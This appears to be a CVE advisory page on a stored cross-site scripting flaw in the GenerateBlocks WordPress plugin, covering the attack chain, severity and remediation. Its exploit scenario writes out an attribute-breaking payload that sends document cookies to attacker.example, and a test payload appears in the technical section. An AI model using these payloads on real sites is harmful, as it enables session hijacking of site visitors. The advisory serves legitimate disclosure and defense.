Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain contributor-level WordPress account
-
DeliveryCreate or edit page with GenerateBlocks element
-
ExploitInsert {{post_meta key:payload}} into non-URL HTML attribute
-
ExecutionSet corresponding post meta to XSS payload via Custom Fields metabox
-
PersistVictim user loads injected page
-
ImpactInjected event handler executes in victim browser context
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a WordPress account with at minimum contributor-level role (the ability to create or edit posts and access the Custom Fields metabox). The site must have the GenerateBlocks plugin installed and active at version 2.3.0 or earlier. The attacker must be able to: (1) place a {{post_meta key:...}} dynamic tag within a non-URL HTML attribute (title, aria-label, alt, or data-* attributes) of a GenerateBlocks element block, and (2) set the corresponding post meta key to an attacker-controlled value via the Custom Fields metabox. The execution of the stored payload additionally requires a victim user to navigate to the injected page (stored XSS delivery model). Exploitation is limited by the contributor role requirement - sites that do not permit open contributor registration or that restrict Custom Fields access to higher roles are not exposed. Default WordPress installations do not enable open contributor registration, so the realistic attack surface is confined to sites with open or weakly controlled user sign-up. |
| Impact | The CVSS 3.1 base score of 6.4 reflects a Medium-severity finding, driven by network accessibility (AV:N), low attack complexity (AC:L), and scope change to victim browsers (S:C), tempered by the requirement for contributor-level authentication (PR:L). The requirement for an authenticated account with at least contributor role is the primary limiting factor for real-world risk - many WordPress sites restrict contributor account creation, though some accept open registrations. EPSS data is not provided, which limits probabilistic exploitation forecasting. The vulnerability is not listed in CISA KEV, indicating no confirmed active exploitation at time of analysis. However, the Wordfence disclosure includes precise file and line-number references, which substantially reduces reverse-engineering effort for potential attackers. There is a minor discrepancy in the provided CVSS vector: stored XSS typically requires victim interaction (UI:R) to trigger, as the malicious payload only executes when a separate user visits the injected page; the stated UI:N is likely a Wordfence scoring convention treating the setup phase as the interaction point. Real-world priority is moderate - high for sites with open contributor registration, lower for tightly controlled editorial workflows. |
| Exploit ScenarioDerived | A threat actor registers or compromises a contributor-level WordPress account on a target site, then edits or creates a page using the GenerateBlocks editor and inserts a dynamic tag such as {{post_meta key:evil_payload}} into a data-label or aria-label attribute of a GenerateBlocks element. The attacker then uses the Custom Fields metabox to set the evil_payload post meta key to a value like closing-quote onmouseover=fetch('https://attacker.example/steal?c='+document.cookie), publishing the page. Every subsequent authenticated or unauthenticated visitor who loads the page triggers the injected event handler, potentially exfiltrating session cookies or performing actions as the victim. The Wordfence disclosure's specific file-and-line references make independent reimplementation of a working proof of concept straightforward for a moderately skilled attacker. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 01, 2026
Stored Cross-Site Scripting in the GenerateBlocks WordPress plugin (all versions through 2.3.0) allows authenticated contributors to permanently inject malicious JavaScript into published pages by exploiting unsanitized dynamic tag rendering in non-URL HTML attributes. An attacker with contributor-level WordPress access can chain a dynamic tag placeholder (e.g., {{post_meta key:...}}) in an element attribute with a crafted post meta value containing attribute-breaking syntax, causing script execution in the browser of any subsequent visitor. No public exploit code has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the detailed technical disclosure from Wordfence lowers the bar for independent exploitation.
RemediationAI
An upstream code fix has been committed to the plugin's SVN repository (changeset 3625942 at plugins.trac.wordpress.org), but a specific patched release version number is not explicitly confirmed in the available data - administrators should update to the latest available GenerateBlocks version from the WordPress plugin repository and verify the installed version is newer than 2.3.0. As a compensating control while patching is pending, site administrators can restrict the capability to create or edit posts with Custom Fields (the post_meta mechanism) to trusted roles only (Editor or Administrator), which removes the attack surface since the exploit depends on a contributor setting an arbitrary post meta value via the Custom Fields metabox. Additionally, disabling the GenerateBlocks dynamic tag feature in site configuration, if operationally feasible, eliminates the injection vector entirely. The trade-off of the capability restriction is that legitimate contributors lose the ability to use Custom Fields, which may affect editorial workflows. Audit existing pages using GenerateBlocks elements for dynamic tags in non-URL attributes populated from post meta, particularly title, aria-label, alt, and data-* attributes.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
GenerateBlocks is a WordPress page-builder plugin (CPE: cpe:2.3:a:edge22:generateblocks:*:*:*:*:*:*:*:*) that supports dynamic content rendering via a template-tag system (e.g., {{post_meta key:...}}). The vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) originates in the dynamic tag resolution pipeline across at least four files: class-register-dynamic-tag.php (L196), functions.php (L2145), class-dynamic-tag-callbacks.php (L388), and general.php (L689). When a dynamic tag is resolved inside a non-URL HTML attribute (title, aria-label, alt, data-* attributes), the resolved value is interpolated into the rendered HTML without adequate output escaping, enabling attribute context injection. Setting the referenced post meta key to a value such as x" onmouseover="alert(1) breaks out of the attribute and injects an event handler, which persists in the stored page content and fires each time a visitor loads that page. The scope change (S:C in CVSS) reflects that the attacker's payload executes in the security context of the victim's browser session, not the server.
Know when Generateblocks gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Stored XSS requires a victim user to visit the injected page (UI:R); PR:L reflects mandatory contributor authentication; S:C captures cross-browser-context script execution.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The GenerateBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Dynamic Tag Injection in HTML Attributes in all versions up to, and including, 2.3.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A Contributor-level attacker can store the malicious payload by placing a dynamic tag such as {{post_meta key:...}} in a non-URL HTML attribute (e.g., title, aria-label, alt, or data-* attributes) of a GenerateBlocks element block, then setting the corresponding unprotected post meta key via the Custom Fields metabox to a value containing a closing quote and an injected event-handler attribute.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Generateblocks
View allThe GenerateBlocks WordPress plugin before 1.4.0 does not validate the generateblocks/container block's tagName attribut
GenerateBlocks plugin for WordPress up to version 2.2.0 fails to verify object-level authorization on the /wp-json/gener
Stored cross-site scripting in the GenerateBlocks WordPress plugin (versions through 2.5.0) lets an authenticated low-pr
Stored XSS in the GenerateBlocks WordPress plugin (all versions through 2.2.1) allows contributor-level authenticated at
The GenerateBlocks plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and inclu
EUVD-2026-51744
GHSA-vxv6-p94x-jpx2
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB